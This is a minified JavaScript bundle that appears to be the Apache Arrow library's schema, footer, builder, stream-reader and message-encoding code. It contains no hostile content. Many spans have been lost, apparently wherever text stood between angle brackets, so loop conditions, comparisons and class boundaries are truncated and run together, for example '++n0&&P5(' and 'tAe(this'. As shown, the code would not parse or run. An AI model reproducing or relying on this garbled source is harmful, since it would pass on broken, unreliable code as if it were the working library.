createCustomMetadataVector(t,n){t.startVector(4,n.length,4);for(let i=n.length-1;i>=0;i--)t.addOffset(n[i]);return t.endVector()}static startCustomMetadataVector(t,n){t.startVector(4,n,4)}static addFeatures(t,n){t.addFieldOffset(3,n,0)}static createFeaturesVector(t,n){t.startVector(8,n.length,8);for(let i=n.length-1;i>=0;i--)t.addInt64(n[i]);return t.endVector()}static startFeaturesVector(t,n){t.startVector(8,n,8)}static endSchema(t){return t.endObject()}static finishSchemaBuffer(t,n){t.finish(n)}static finishSizePrefixedSchemaBuffer(t,n){t.finish(n,void 0,!0)}static createSchema(t,n,i,s,o){return yo.startSchema(t),yo.addEndianness(t,n),yo.addFields(t,i),yo.addCustomMetadata(t,s),yo.addFeatures(t,o),yo.endSchema(t)}};class Es{constructor(){this.bb=null,this.bb_pos=0}__init(t,n){return this.bb_pos=t,this.bb=n,this}static getRootAsFooter(t,n){return(n||new Es).__init(t.readInt32(t.position())+t.position(),t)}static getSizePrefixedRootAsFooter(t,n){return t.setPosition(t.position()+Qt),(n||new Es).__init(t.readInt32(t.position())+t.position(),t)}version(){const t=this.bb.__offset(this.bb_pos,4);return t?this.bb.readInt16(this.bb_pos+t):Au.V1}schema(t){const n=this.bb.__offset(this.bb_pos,6);return n?(t||new ra).__init(this.bb.__indirect(this.bb_pos+n),this.bb):null}dictionaries(t,n){const i=this.bb.__offset(this.bb_pos,8);return i?(n||new A5).__init(this.bb.__vector(this.bb_pos+i)+t*24,this.bb):null}dictionariesLength(){const t=this.bb.__offset(this.bb_pos,8);return t?this.bb.__vector_len(this.bb_pos+t):0}recordBatches(t,n){const i=this.bb.__offset(this.bb_pos,10);return i?(n||new A5).__init(this.bb.__vector(this.bb_pos+i)+t*24,this.bb):null}recordBatchesLength(){const t=this.bb.__offset(this.bb_pos,10);return t?this.bb.__vector_len(this.bb_pos+t):0}customMetadata(t,n){const i=this.bb.__offset(this.bb_pos,12);return i?(n||new Fn).__init(this.bb.__indirect(this.bb.__vector(this.bb_pos+i)+t*4),this.bb):null}customMetadataLength(){const t=this.bb.__offset(this.bb_pos,12);return t?this.bb.__vector_len(this.bb_pos+t):0}static startFooter(t){t.startObject(5)}static addVersion(t,n){t.addFieldInt16(0,n,Au.V1)}static addSchema(t,n){t.addFieldOffset(1,n,0)}static addDictionaries(t,n){t.addFieldOffset(2,n,0)}static startDictionariesVector(t,n){t.startVector(24,n,8)}static addRecordBatches(t,n){t.addFieldOffset(3,n,0)}static startRecordBatchesVector(t,n){t.startVector(24,n,8)}static addCustomMetadata(t,n){t.addFieldOffset(4,n,0)}static createCustomMetadataVector(t,n){t.startVector(4,n.length,4);for(let i=n.length-1;i>=0;i--)t.addOffset(n[i]);return t.endVector()}static startCustomMetadataVector(t,n){t.startVector(4,n,4)}static endFooter(t){return t.endObject()}static finishFooterBuffer(t,n){t.finish(n)}static finishSizePrefixedFooterBuffer(t,n){t.finish(n,void 0,!0)}}class Ot{constructor(t=[],n,i){this.fields=t||[],this.metadata=n||new Map,i||(i=P5(t)),this.dictionaries=i}get[Symbol.toStringTag](){return"Schema"}get names(){return this.fields.map(t=>t.name)}toString(){return`Schema<{ ${this.fields.map((t,n)=>`${n}: ${t}`).join(", ")} }>`}select(t){const n=new Set(t),i=this.fields.filter(s=>n.has(s.name));return new Ot(i,this.metadata)}selectAt(t){const n=t.map(i=>this.fields[i]).filter(Boolean);return new Ot(n,this.metadata)}assign(...t){const n=t[0]instanceof Ot?t[0]:Array.isArray(t[0])?new Ot(t[0]):new Ot(t),i=[...this.fields],s=Ig(Ig(new Map,this.metadata),n.metadata),o=n.fields.filter(d=>{const f=i.findIndex(u=>u.name===d.name);return~f?(i[f]=d.clone({metadata:Ig(Ig(new Map,i[f].metadata),d.metadata)}))&&!1:!0}),c=P5(o,new Map);return new Ot([...i,...o],s,new Map([...this.dictionaries,...c]))}}Ot.prototype.fields=null;Ot.prototype.metadata=null;Ot.prototype.dictionaries=null;let Vt=class R5{constructor(t,n,i=!1,s){this.name=t,this.type=n,this.nullable=i,this.metadata=s||new Map}static new(...t){let[n,i,s,o]=t;return t[0]&&typeof t[0]=="object"&&({name:n}=t[0],i===void 0&&(i=t[0].type),s===void 0&&(s=t[0].nullable),o===void 0&&(o=t[0].metadata)),new R5(`${n}`,i,s,o)}get typeId(){return this.type.typeId}get[Symbol.toStringTag](){return"Field"}toString(){return`${this.name}: ${this.type}`}clone(...t){let[n,i,s,o]=t;return!t[0]||typeof t[0]!="object"?[n=this.name,i=this.type,s=this.nullable,o=this.metadata]=t:{name:n=this.name,type:i=this.type,nullable:s=this.nullable,metadata:o=this.metadata}=t[0],R5.new(n,i,s,o)}};Vt.prototype.type=null;Vt.prototype.name=null;Vt.prototype.nullable=null;Vt.prototype.metadata=null;function Ig(e,t){return new Map([...e||new Map,...t||new Map])}function P5(e,t=new Map){for(let n=-1,i=e.length;++n0&&P5(o.children,t)}return t}var Hk=Ao,JK=MC,QK=Mu;class b2{constructor(t,n=ts.V4,i,s){this.schema=t,this.version=n,i&&(this._recordBatches=i),s&&(this._dictionaryBatches=s)}static decode(t){t=new QK(St(t));const n=Es.getRootAsFooter(t),i=Ot.decode(n.schema());return new eZ(i,n)}static encode(t){const n=new JK,i=Ot.encode(n,t.schema);Es.startRecordBatchesVector(n,t.numRecordBatches);for(const c of[...t.recordBatches()].slice().reverse())Na.encode(n,c);const s=n.endVector();Es.startDictionariesVector(n,t.numDictionaries);for(const c of[...t.dictionaryBatches()].slice().reverse())Na.encode(n,c);const o=n.endVector();return Es.startFooter(n),Es.addSchema(n,i),Es.addVersion(n,ts.V4),Es.addRecordBatches(n,s),Es.addDictionaries(n,o),Es.finishFooterBuffer(n,Es.endFooter(n)),n.asUint8Array()}get numRecordBatches(){return this._recordBatches.length}get numDictionaries(){return this._dictionaryBatches.length}*recordBatches(){for(let t,n=-1,i=this.numRecordBatches;++n=0&&t=0&&t=0&&t=0&&tthis._closedPromiseResolve=t)}get closed(){return this._closedPromise}cancel(t){return Ae(this,void 0,void 0,function*(){yield this.return(t)})}write(t){this._ensureOpen()&&(this.resolvers.length<=0?this._values.push(t):this.resolvers.shift().resolve({done:!1,value:t}))}abort(t){this._closedPromiseResolve&&(this.resolvers.length<=0?this._error={error:t}:this.resolvers.shift().reject({done:!0,value:t}))}close(){if(this._closedPromiseResolve){const{resolvers:t}=this;for(;t.length>0;)t.shift().resolve(un);this._closedPromiseResolve(),this._closedPromiseResolve=void 0}}[Symbol.asyncIterator](){return this}toDOMStream(t){return ks.toDOMStream(this._closedPromiseResolve||this._error?this:this._values,t)}toNodeStream(t){return ks.toNodeStream(this._closedPromiseResolve||this._error?this:this._values,t)}throw(t){return Ae(this,void 0,void 0,function*(){return yield this.abort(t),un})}return(t){return Ae(this,void 0,void 0,function*(){return yield this.close(),un})}read(t){return Ae(this,void 0,void 0,function*(){return(yield this.next(t,"read")).value})}peek(t){return Ae(this,void 0,void 0,function*(){return(yield this.next(t,"peek")).value})}next(...t){return this._values.length>0?Promise.resolve({done:!1,value:this._values.shift()}):this._error?Promise.reject({done:!0,value:this._error.error}):this._closedPromiseResolve?new Promise((n,i)=>{this.resolvers.push({resolve:n,reject:i})}):Promise.resolve(un)}_ensureOpen(){if(this._closedPromiseResolve)return!0;throw new Error("AsyncQueue is closed")}}class _u extends tZ{write(t){if((t=St(t)).byteLength>0)return super.write(t)}toString(t=!1){return t?I5(this.toUint8Array(!0)):this.toUint8Array(!1).then(I5)}toUint8Array(t=!1){return t?Hr(this._values)[0]:(()=>Ae(this,void 0,void 0,function*(){var n,i;const s=[];let o=0;try{for(var c=Pl(this),d;d=yield c.next(),!d.done;){const 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this.source.next({cmd:n,size:t})})}throw(t){return Ae(this,void 0,void 0,function*(){const n=this.source.throw&&(yield this.source.throw(t))||un;return this._closedPromiseResolve&&this._closedPromiseResolve(),this._closedPromiseResolve=void 0,Object.create(n)})}return(t){return Ae(this,void 0,void 0,function*(){const n=this.source.return&&(yield this.source.return(t))||un;return this._closedPromiseResolve&&this._closedPromiseResolve(),this._closedPromiseResolve=void 0,Object.create(n)})}}class $k extends T2{constructor(t,n){super(),this.position=0,this.buffer=St(t),this.size=typeof n>"u"?this.buffer.byteLength:n}readInt32(t){const{buffer:n,byteOffset:i}=this.readAt(t,4);return new DataView(n,i).getInt32(0,!0)}seek(t){return this.position=Math.min(t,this.size),tAe(this,void 0,void 0,function*(){this.size=(yield t.stat()).size,delete this._pending}))()}readInt32(t){return Ae(this,void 0,void 0,function*(){const{buffer:n,byteOffset:i}=yield this.readAt(t,4);return new DataView(n,i).getInt32(0,!0)})}seek(t){return Ae(this,void 0,void 0,function*(){return this._pending&&(yield this._pending),this.position=Math.min(t,this.size),t>>16,this.buffer[1]&65535,this.buffer[0]>>>16,this.buffer[0]&65535]),i=new Uint32Array([t.buffer[1]>>>16,t.buffer[1]&65535,t.buffer[0]>>>16,t.buffer[0]&65535]);let s=n[3]*i[3];this.buffer[0]=s&65535;let o=s>>>16;return s=n[2]*i[3],o+=s,s=n[3]*i[2]>>>0,o+=s,this.buffer[0]+=o<<16,this.buffer[1]=o>>>0>>16,this.buffer[1]+=n[1]*i[3]+n[2]*i[2]+n[3]*i[1],this.buffer[1]+=n[0]*i[3]+n[1]*i[2]+n[2]*i[1]+n[3]*i[0]<<16,this}_plus(t){const n=this.buffer[0]+t.buffer[0]>>>0;this.buffer[1]+=t.buffer[1],n>>0&&++this.buffer[1],this.buffer[0]=n}lessThan(t){return this.buffer[1]>>0,n[2]=this.buffer[2]+t.buffer[2]>>>0,n[1]=this.buffer[1]+t.buffer[1]>>>0,n[0]=this.buffer[0]+t.buffer[0]>>>0,n[0]>>0&&++n[1],n[1]>>0&&++n[2],n[2]>>0&&++n[3],this.buffer[3]=n[3],this.buffer[2]=n[2],this.buffer[1]=n[1],this.buffer[0]=n[0],this}hex(){return`${tu(this.buffer[3])} ${tu(this.buffer[2])} ${tu(this.buffer[1])} ${tu(this.buffer[0])}`}static multiply(t,n){return new mr(new Uint32Array(t.buffer)).times(n)}static add(t,n){return new mr(new Uint32Array(t.buffer)).plus(n)}static from(t,n=new Uint32Array(4)){return mr.fromString(typeof t=="string"?t:t.toString(),n)}static fromNumber(t,n=new Uint32Array(4)){return mr.fromString(t.toString(),n)}static fromString(t,n=new Uint32Array(4)){const i=t.startsWith("-"),s=t.length,o=new mr(n);for(let c=i?1:0;c0&&this.readData(t,i)||new Uint8Array(0)}readOffsets(t,n){return this.readData(t,n)}readTypeIds(t,n){return this.readData(t,n)}readData(t,{length:n,offset:i}=this.nextBufferRange()){return this.bytes.subarray(i,i+n)}readDictionary(t){return this.dictionaries.get(t.id)}}class rZ extends NC{constructor(t,n,i,s){super(new Uint8Array(0),n,i,s),this.sources=t}readNullBitmap(t,n,{offset:i}=this.nextBufferRange()){return n<=0?new Uint8Array(0):L2(this.sources[i])}readOffsets(t,{offset:n}=this.nextBufferRange()){return bt(Uint8Array,bt(Int32Array,this.sources[n]))}readTypeIds(t,{offset:n}=this.nextBufferRange()){return bt(Uint8Array,bt(t.ArrayType,this.sources[n]))}readData(t,{offset:n}=this.nextBufferRange()){const{sources:i}=this;return We.isTimestamp(t)||(We.isInt(t)||We.isTime(t))&&t.bitWidth===64||We.isDate(t)&&t.unit===ds.MILLISECOND?bt(Uint8Array,Oi.convertArray(i[n])):We.isDecimal(t)?bt(Uint8Array,mr.convertArray(i[n])):We.isBinary(t)||We.isFixedSizeBinary(t)?aZ(i[n]):We.isBool(t)?L2(i[n]):We.isUtf8(t)?c4(i[n].join("")):bt(Uint8Array,bt(t.ArrayType,i[n].map(s=>+s)))}}function aZ(e){const t=e.join(""),n=new Uint8Array(t.length/2);for(let i=0;i>1]=Number.parseInt(t.slice(i,i+2),16);return n}class K9 extends L4{constructor(t){super(t),this._values=new w4(new Uint8Array(0))}get byteLength(){let t=this._pendingLength+this.length*4;return this._offsets&&(t+=this._offsets.byteLength),this._values&&(t+=this._values.byteLength),this._nulls&&(t+=this._nulls.byteLength),t}setValue(t,n){return super.setValue(t,St(n))}_flushPending(t,n){const i=this._offsets,s=this._values.reserve(n).buffer;let o=0;for(const[c,d]of t)if(d===void 0)i.set(c,0);else{const f=d.length;s.set(d,o),i.set(c,f),o+=f}}}class CC extends ki{constructor(t){super(t),this._values=new FC}setValue(t,n){this._values.set(t,+n)}}class c0 extends mc{}c0.prototype._setValue=WN;class Z9 extends c0{}Z9.prototype._setValue=F9;class J9 extends c0{}J9.prototype._setValue=I9;class Q9 extends mc{}Q9.prototype._setValue=KN;class RC extends ki{constructor({type:t,nullValues:n,dictionaryHashFunction:i}){super({type:new $o(t.dictionary,t.indices,t.id,t.isOrdered)}),this._nulls=null,this._dictionaryOffset=0,this._keysToIndices=Object.create(null),this.indices=Ad({type:this.type.indices,nullValues:n}),this.dictionary=Ad({type:this.type.dictionary,nullValues:null}),typeof i=="function"&&(this.valueToKey=i)}get values(){return this.indices.values}get nullCount(){return this.indices.nullCount}get nullBitmap(){return this.indices.nullBitmap}get byteLength(){return this.indices.byteLength+this.dictionary.byteLength}get reservedLength(){return this.indices.reservedLength+this.dictionary.reservedLength}get reservedByteLength(){return this.indices.reservedByteLength+this.dictionary.reservedByteLength}isValid(t){return this.indices.isValid(t)}setValid(t,n){const i=this.indices;return n=i.setValid(t,n),this.length=i.length,n}setValue(t,n){const i=this._keysToIndices,s=this.valueToKey(n);let o=i[s];return o===void 0&&(i[s]=o=this._dictionaryOffset+this.dictionary.append(n).length-1),this.indices.setValue(t,o)}flush(){const t=this.type,n=this._dictionary,i=this.dictionary.toVector(),s=this.indices.flush().clone(t);return s.dictionary=n?n.concat(i):i,this.finished||(this._dictionaryOffset+=i.length),this._dictionary=s.dictionary,this.clear(),s}finish(){return this.indices.finish(),this.dictionary.finish(),this._dictionaryOffset=0,this._keysToIndices=Object.create(null),super.finish()}clear(){return this.indices.clear(),this.dictionary.clear(),super.clear()}valueToKey(t){return typeof t=="string"?t:`${t}`}}class e7 extends mc{}e7.prototype._setValue=GN;class PC extends ki{setValue(t,n){const[i]=this.children,s=t*this.stride;for(let o=-1,c=n.length;++o0)throw new Error("FixedSizeListBuilder can only have one child.");const i=this.children.push(t);return this.type=new Fu(this.type.listSize,new Vt(n,t.type,!0)),i}}class d0 extends mc{setValue(t,n){this._values.set(t,n)}}class DC extends d0{setValue(t,n){super.setValue(t,x9(n))}}class jC extends d0{}class UC extends d0{}class f0 extends mc{}f0.prototype._setValue=QN;class t7 extends f0{}t7.prototype._setValue=j9;class n7 extends f0{}n7.prototype._setValue=U9;class Ya extends mc{setValue(t,n){this._values.set(t,n)}}class HC extends Ya{}class zC extends Ya{}class $C extends Ya{}class qC extends Ya{}class VC extends Ya{}class GC extends Ya{}class WC extends Ya{}class YC extends Ya{}class XC extends L4{constructor(t){super(t),this._offsets=new IC}addChild(t,n="0"){if(this.numChildren>0)throw new Error("ListBuilder can only have one child.");return this.children[this.numChildren]=t,this.type=new Md(new Vt(n,t.type,!0)),this.numChildren-1}_flushPending(t){const n=this._offsets,[i]=this.children;for(const[s,o]of t)if(typeof o>"u")n.set(s,0);else{const c=o.length,d=n.set(s,c).buffer[s];for(let f=-1;++f0)throw new Error("ListBuilder can only have one child.");return this.children[this.numChildren]=t,this.type=new Iu(new Vt(n,t.type,!0),this.type.keysSorted),this.numChildren-1}_flushPending(t){const n=this._offsets,[i]=this.children;for(const[s,o]of t)if(o===void 0)n.set(s,0);else{let{[s]:c,[s+1]:d}=n.set(s,o.size).buffer;for(const f of o.entries())if(i.set(c,f),++c>=d)break}}}class ZC extends ki{setValue(t,n){}setValid(t,n){return this.length=Math.max(t+1,this.length),n}}class JC extends ki{setValue(t,n){const{children:i,type:s}=this;switch(Array.isArray(n)||n.constructor){case!0:return s.children.forEach((o,c)=>i[c].set(t,n[c]));case Map:return s.children.forEach((o,c)=>i[c].set(t,n.get(o.name)));default:return s.children.forEach((o,c)=>i[c].set(t,n[o.name]))}}setValid(t,n){return super.setValid(t,n)||this.children.forEach(i=>i.setValid(t,n)),n}addChild(t,n=`${this.numChildren}`){const i=this.children.push(t);return this.type=new Hn([...this.type.children,new Vt(n,t.type,!0)]),i}}class of extends mc{}of.prototype._setValue=YN;class i7 extends of{}i7.prototype._setValue=O9;class s7 extends of{}s7.prototype._setValue=M9;class r7 extends of{}r7.prototype._setValue=A9;class a7 extends of{}a7.prototype._setValue=N9;class lf extends mc{}lf.prototype._setValue=XN;class o7 extends lf{}o7.prototype._setValue=C9;class l7 extends lf{}l7.prototype._setValue=R9;class c7 extends lf{}c7.prototype._setValue=P9;class d7 extends lf{}d7.prototype._setValue=D9;class b4 extends ki{constructor(t){super(t),this._typeIds=new l0(new Int8Array(0),1),typeof t.valueToChildTypeId=="function"&&(this._valueToChildTypeId=t.valueToChildTypeId)}get typeIdToChildIndex(){return this.type.typeIdToChildIndex}append(t,n){return this.set(this.length,t,n)}set(t,n,i){return i===void 0&&(i=this._valueToChildTypeId(this,n,t)),this.setValid(t,this.isValid(n))&&this.setValue(t,n,i),this}setValue(t,n,i){this._typeIds.set(t,i);const s=this.type.typeIdToChildIndex[i],o=this.children[s];o==null||o.set(t,n)}addChild(t,n=`${this.children.length}`){const i=this.children.push(t),{type:{children:s,mode:o,typeIds:c}}=this,d=[...s,new Vt(n,t.type)];return this.type=new Kl(o,[...c,i],d),i}_valueToChildTypeId(t,n,i){throw new Error("Cannot map UnionBuilder value to child typeId. Pass the `childTypeId` as the second argument to unionBuilder.append(), or supply a `valueToChildTypeId` function as part of the UnionBuilder constructor options.")}}class QC extends b4{}class eR extends b4{constructor(t){super(t),this._offsets=new l0(new Int32Array(0))}setValue(t,n,i){const s=this._typeIds.set(t,i).buffer[t],o=this.getChildAt(this.type.typeIdToChildIndex[s]),c=this._offsets.set(t,o.length).buffer[t];o==null||o.set(c,n)}}class f7 extends L4{constructor(t){super(t),this._values=new w4(new Uint8Array(0))}get byteLength(){let t=this._pendingLength+this.length*4;return this._offsets&&(t+=this._offsets.byteLength),this._values&&(t+=this._values.byteLength),this._nulls&&(t+=this._nulls.byteLength),t}setValue(t,n){return super.setValue(t,c4(n))}_flushPending(t,n){}}f7.prototype._flushPending=K9.prototype._flushPending;class oZ extends mt{visitNull(){return ZC}visitBool(){return CC}visitInt(){return Ya}visitInt8(){return HC}visitInt16(){return zC}visitInt32(){return $C}visitInt64(){return qC}visitUint8(){return VC}visitUint16(){return GC}visitUint32(){return WC}visitUint64(){return YC}visitFloat(){return d0}visitFloat16(){return DC}visitFloat32(){return jC}visitFloat64(){return UC}visitUtf8(){return f7}visitBinary(){return K9}visitFixedSizeBinary(){return e7}visitDate(){return c0}visitDateDay(){return Z9}visitDateMillisecond(){return J9}visitTimestamp(){return of}visitTimestampSecond(){return i7}visitTimestampMillisecond(){return s7}visitTimestampMicrosecond(){return r7}visitTimestampNanosecond(){return a7}visitTime(){return lf}visitTimeSecond(){return o7}visitTimeMillisecond(){return l7}visitTimeMicrosecond(){return c7}visitTimeNanosecond(){return d7}visitDecimal(){return Q9}visitList(){return XC}visitStruct(){return JC}visitUnion(){return b4}visitDenseUnion(){return eR}visitSparseUnion(){return QC}visitDictionary(){return RC}visitInterval(){return f0}visitIntervalDayTime(){return t7}visitIntervalYearMonth(){return n7}visitFixedSizeList(){return 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Bs.startInt(n),Bs.addBitWidth(n,t.bitWidth),Bs.addIsSigned(n,t.isSigned),Bs.endInt(n)}visitFloat(t,n){return ga.startFloatingPoint(n),ga.addPrecision(n,t.precision),ga.endFloatingPoint(n)}visitBinary(t,n){return cd.startBinary(n),cd.endBinary(n)}visitBool(t,n){return dd.startBool(n),dd.endBool(n)}visitUtf8(t,n){return gd.startUtf8(n),gd.endUtf8(n)}visitDecimal(t,n){return Ki.startDecimal(n),Ki.addScale(n,t.scale),Ki.addPrecision(n,t.precision),Ki.addBitWidth(n,t.bitWidth),Ki.endDecimal(n)}visitDate(t,n){return B_.startDate(n),B_.addUnit(n,t.unit),B_.endDate(n)}visitTime(t,n){return b1.startTime(n),b1.addUnit(n,t.unit),b1.addBitWidth(n,t.bitWidth),b1.endTime(n)}visitTimestamp(t,n){const i=t.timezone&&n.createString(t.timezone)||void 0;return Vs.startTimestamp(n),Vs.addUnit(n,t.unit),i!==void 0&&Vs.addTimezone(n,i),Vs.endTimestamp(n)}visitInterval(t,n){return _a.startInterval(n),_a.addUnit(n,t.unit),_a.endInterval(n)}visitList(t,n){return fd.startList(n),fd.endList(n)}visitStruct(t,n){return hd.startStruct_(n),hd.endStruct_(n)}visitUnion(t,n){Xc.startTypeIdsVector(n,t.typeIds.length);const i=Xc.createTypeIdsVector(n,t.typeIds);return Xc.startUnion(n),Xc.addMode(n,t.mode),Xc.addTypeIds(n,i),Xc.endUnion(n)}visitDictionary(t,n){const i=this.visit(t.indices,n);return So.startDictionaryEncoding(n),So.addId(n,new TZ(t.id,0)),So.addIsOrdered(n,t.isOrdered),i!==void 0&&So.addIndexType(n,i),So.endDictionaryEncoding(n)}visitFixedSizeBinary(t,n){return ua.startFixedSizeBinary(n),ua.addByteWidth(n,t.byteWidth),ua.endFixedSizeBinary(n)}visitFixedSizeList(t,n){return ha.startFixedSizeList(n),ha.addListSize(n,t.listSize),ha.endFixedSizeList(n)}visitMap(t,n){return F_.startMap(n),F_.addKeysSorted(n,t.keysSorted),F_.endMap(n)}}const V6=new vZ;function EZ(e,t=new Map){return new Ot(xZ(e,t),M_(e.customMetadata),t)}function lR(e){return new Ns(e.count,cR(e.columns),dR(e.columns))}function SZ(e){return new Ra(lR(e.data),e.id,e.isDelta)}function xZ(e,t){return(e.fields||[]).filter(Boolean).map(n=>Vt.fromJSON(n,t))}function Vk(e,t){return(e.children||[]).filter(Boolean).map(n=>Vt.fromJSON(n,t))}function cR(e){return(e||[]).reduce((t,n)=>[...t,new cf(n.count,kZ(n.VALIDITY)),...cR(n.children)],[])}function dR(e,t=[]){for(let n=-1,i=(e||[]).length;++nt+ +(n===0),0)}function BZ(e,t){let n,i,s,o,c,d;return!t||!(o=e.dictionary)?(c=Wk(e,Vk(e,t)),s=new Vt(e.name,c,e.nullable,M_(e.customMetadata))):t.has(n=o.id)?(i=(i=o.indexType)?Gk(i):new Xl,d=new $o(t.get(n),i,n,o.isOrdered),s=new Vt(e.name,d,e.nullable,M_(e.customMetadata))):(i=(i=o.indexType)?Gk(i):new Xl,t.set(n,c=Wk(e,Vk(e,t))),d=new $o(c,i,n,o.isOrdered),s=new Vt(e.name,d,e.nullable,M_(e.customMetadata))),s||null}function M_(e){return new Map(Object.entries(e||{}))}function Gk(e){return new vi(e.isSigned,e.bitWidth)}function Wk(e,t){const n=e.type.name;switch(n){case"NONE":return new Oa;case"null":return new Oa;case"binary":return new y2;case"utf8":return new ku;case"bool":return new Bu;case"list":return new Md((t||[])[0]);case"struct":return new Hn(t||[]);case"struct_":return new Hn(t||[])}switch(n){case"int":{const i=e.type;return new vi(i.isSigned,i.bitWidth)}case"floatingpoint":{const i=e.type;return new Ho(Cn[i.precision])}case"decimal":{const i=e.type;return new m2(i.scale,i.precision,i.bitWidth)}case"date":{const i=e.type;return new Id(ds[i.unit])}case"time":{const i=e.type;return new Ma(rt[i.unit],i.bitWidth)}case"timestamp":{const i=e.type;return new zo(rt[i.unit],i.timezone)}case"interval":{const i=e.type;return new Od(er[i.unit])}case"union":{const i=e.type;return new Kl(Xn[i.mode],i.typeIds||[],t||[])}case"fixedsizebinary":{const i=e.type;return new w2(i.byteWidth)}case"fixedsizelist":{const i=e.type;return new Fu(i.listSize,(t||[])[0])}case"map":{const i=e.type;return new Iu((t||[])[0],i.keysSorted)}}throw new Error(`Unrecognized type: "${n}"`)}var Nd=Ao,FZ=MC,IZ=Mu;class hi{constructor(t,n,i,s){this._version=n,this._headerType=i,this.body=new Uint8Array(0),s&&(this._createHeader=()=>s),this._bodyLength=typeof t=="number"?t:t.low}static fromJSON(t,n){const i=new hi(0,ts.V4,n);return i._createHeader=OZ(t,n),i}static decode(t){t=new IZ(St(t));const n=hl.getRootAsMessage(t),i=n.bodyLength(),s=n.version(),o=n.headerType(),c=new hi(i,s,o);return c._createHeader=MZ(n,o),c}static encode(t){const n=new FZ;let i=-1;return t.isSchema()?i=Ot.encode(n,t.header()):t.isRecordBatch()?i=Ns.encode(n,t.header()):t.isDictionaryBatch()&&(i=Ra.encode(n,t.header())),hl.startMessage(n),hl.addVersion(n,ts.V4),hl.addHeader(n,i),hl.addHeaderType(n,t.headerType),hl.addBodyLength(n,new Nd(t.bodyLength,0)),hl.finishMessageBuffer(n,hl.endMessage(n)),n.asUint8Array()}static from(t,n=0){if(t instanceof Ot)return new hi(0,ts.V4,zt.Schema,t);if(t instanceof Ns)return new hi(n,ts.V4,zt.RecordBatch,t);if(t instanceof Ra)return new hi(n,ts.V4,zt.DictionaryBatch,t);throw new Error(`Unrecognized Message header: ${t}`)}get type(){return this.headerType}get version(){return this._version}get headerType(){return this._headerType}get bodyLength(){return this._bodyLength}header(){return this._createHeader()}isSchema(){return this.headerType===zt.Schema}isRecordBatch(){return this.headerType===zt.RecordBatch}isDictionaryBatch(){return this.headerType===zt.DictionaryBatch}}class Ns{constructor(t,n,i){this._nodes=n,this._buffers=i,this._length=typeof t=="number"?t:t.low}get nodes(){return this._nodes}get length(){return this._length}get buffers(){return this._buffers}}class Ra{constructor(t,n,i=!1){this._data=t,this._isDelta=i,this._id=typeof n=="number"?n:n.low}get id(){return this._id}get data(){return this._data}get isDelta(){return this._isDelta}get length(){return this.data.length}get nodes(){return this.data.nodes}get buffers(){return this.data.buffers}}class La{constructor(t,n){this.offset=typeof t=="number"?t:t.low,this.length=typeof n=="number"?n:n.low}}class cf{constructor(t,n){this.length=typeof t=="number"?t:t.low,this.nullCount=typeof n=="number"?n:n.low}}function OZ(e,t){return()=>{switch(t){case zt.Schema:return Ot.fromJSON(e);case zt.RecordBatch:return Ns.fromJSON(e);case zt.DictionaryBatch:return Ra.fromJSON(e)}throw new Error(`Unrecognized Message type: { name: ${zt[t]}, type: ${t} }`)}}function MZ(e,t){return()=>{switch(t){case zt.Schema:return Ot.decode(e.header(new ra));case zt.RecordBatch:return Ns.decode(e.header(new mo),e.version());case zt.DictionaryBatch:return Ra.decode(e.header(new Kf),e.version())}throw new Error(`Unrecognized Message type: { name: ${zt[t]}, type: ${t} }`)}}Vt.encode=$Z;Vt.decode=HZ;Vt.fromJSON=BZ;Ot.encode=zZ;Ot.decode=AZ;Ot.fromJSON=EZ;Ns.encode=qZ;Ns.decode=NZ;Ns.fromJSON=lR;Ra.encode=VZ;Ra.decode=CZ;Ra.fromJSON=SZ;cf.encode=GZ;cf.decode=PZ;La.encode=WZ;La.decode=RZ;function AZ(e,t=new Map){const n=UZ(e,t);return new Ot(n,A_(e),t)}function NZ(e,t=ts.V4){if(e.compression()!==null)throw new Error("Record batch compression not implemented");return new Ns(e.length(),DZ(e),jZ(e,t))}function CZ(e,t=ts.V4){return new Ra(Ns.decode(e.data(),t),e.id(),e.isDelta())}function RZ(e){return new La(e.offset(),e.length())}function PZ(e){return new cf(e.length(),e.nullCount())}function DZ(e){const t=[];for(let n,i=-1,s=-1,o=e.nodesLength();++iVt.encode(e,o));ra.startFieldsVector(e,n.length);const i=ra.createFieldsVector(e,n),s=t.metadata&&t.metadata.size>0?ra.createCustomMetadataVector(e,[...t.metadata].map(([o,c])=>{const d=e.createString(`${o}`),f=e.createString(`${c}`);return Fn.startKeyValue(e),Fn.addKey(e,d),Fn.addValue(e,f),Fn.endKeyValue(e)})):-1;return ra.startSchema(e),ra.addFields(e,i),ra.addEndianness(e,YZ?Nu.Little:Nu.Big),s!==-1&&ra.addCustomMetadata(e,s),ra.endSchema(e)}function $Z(e,t){let n=-1,i=-1,s=-1;const o=t.type;let c=t.typeId;We.isDictionary(o)?(c=o.dictionary.typeId,s=V6.visit(o,e),i=V6.visit(o.dictionary,e)):i=V6.visit(o,e);const d=(o.children||[]).map(a=>Vt.encode(e,a)),f=$s.createChildrenVector(e,d),u=t.metadata&&t.metadata.size>0?$s.createCustomMetadataVector(e,[...t.metadata].map(([a,m])=>{const y=e.createString(`${a}`),p=e.createString(`${m}`);return Fn.startKeyValue(e),Fn.addKey(e,y),Fn.addValue(e,p),Fn.endKeyValue(e)})):-1;return t.name&&(n=e.createString(t.name)),$s.startField(e),$s.addType(e,i),$s.addTypeType(e,c),$s.addChildren(e,f),$s.addNullable(e,!!t.nullable),n!==-1&&$s.addName(e,n),s!==-1&&$s.addDictionary(e,s),u!==-1&&$s.addCustomMetadata(e,u),$s.endField(e)}function qZ(e,t){const n=t.nodes||[],i=t.buffers||[];mo.startNodesVector(e,n.length);for(const c of n.slice().reverse())cf.encode(e,c);const s=e.endVector();mo.startBuffersVector(e,i.length);for(const c of i.slice().reverse())La.encode(e,c);const o=e.endVector();return mo.startRecordBatch(e),mo.addLength(e,new Nd(t.length,0)),mo.addNodes(e,s),mo.addBuffers(e,o),mo.endRecordBatch(e)}function VZ(e,t){const n=Ns.encode(e,t.data);return Kf.startDictionaryBatch(e),Kf.addId(e,new Nd(t.id,0)),Kf.addIsDelta(e,t.isDelta),Kf.addData(e,n),Kf.endDictionaryBatch(e)}function GZ(e,t){return oR.createFieldNode(e,new Nd(t.length,0),new Nd(t.nullCount,0))}function WZ(e,t){return aR.createBuffer(e,new Nd(t.offset,0),new Nd(t.length,0))}const YZ=(()=>{const e=new ArrayBuffer(2);return new DataView(e).setInt16(0,256,!0),new Int16Array(e)[0]===256})(),y7=e=>`Expected ${zt[e]} Message in stream, but was null or length 0.`,m7=e=>`Header pointer of flatbuffer-encoded ${zt[e]} Message is null or length 0.`,fR=(e,t)=>`Expected to read ${e} metadata bytes, but only read 